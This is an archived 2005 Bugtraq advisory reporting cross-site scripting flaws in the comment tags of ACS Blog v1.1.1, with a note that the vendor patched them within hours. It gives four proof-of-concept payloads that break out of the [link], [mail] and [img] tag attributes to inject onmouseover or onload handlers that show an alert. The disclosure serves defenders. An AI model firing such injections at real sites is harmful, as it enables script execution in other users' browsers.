bugtraq - Multiple XSS vulnerabilities in ACS Blog

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <bc0c5dbd05032815152f763360@mail.gmail.com>
Date: Mon, 28 Mar 2005 18:15:34 -0500
From: Dan Crowley <dan.crowley@...il.com>
To: bugtraq@...urityfocus.com
Subject: Multiple XSS vulnerabilities in ACS Blog

These vulnerabilities have been tested on the latest version of ACS
Blog. (v1.1.1)

In the comments section of ACS Blog, it is possible to execute an XSS
attack through the [link], [mail], and [img] tags, due to lack of
filtering of single quotes and spaces inside the tags.

Examples/PoCs:

[link=http://www.google.com' onmouseover='alert("XSS vulnerability")'
o=']Don't you wanna see where this link goes?[/link]

[mail=bugtraq@...urityfocus.com' onmouseover='alert("XSS
vulnerability")' o=']Mr. Wiggles[/mail]

[img]http://www.example.com/image.jpg' onload='alert("XSS
vulnerability")' o='[/img]

[link=http://www.google.com target=_blank'
onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]

----------
Vendor responded within 2 hours of notification, notified users with
the security alert on its main page, and patched the vulnerabilities
within another couple of hours.
----------

Cheers,
Dan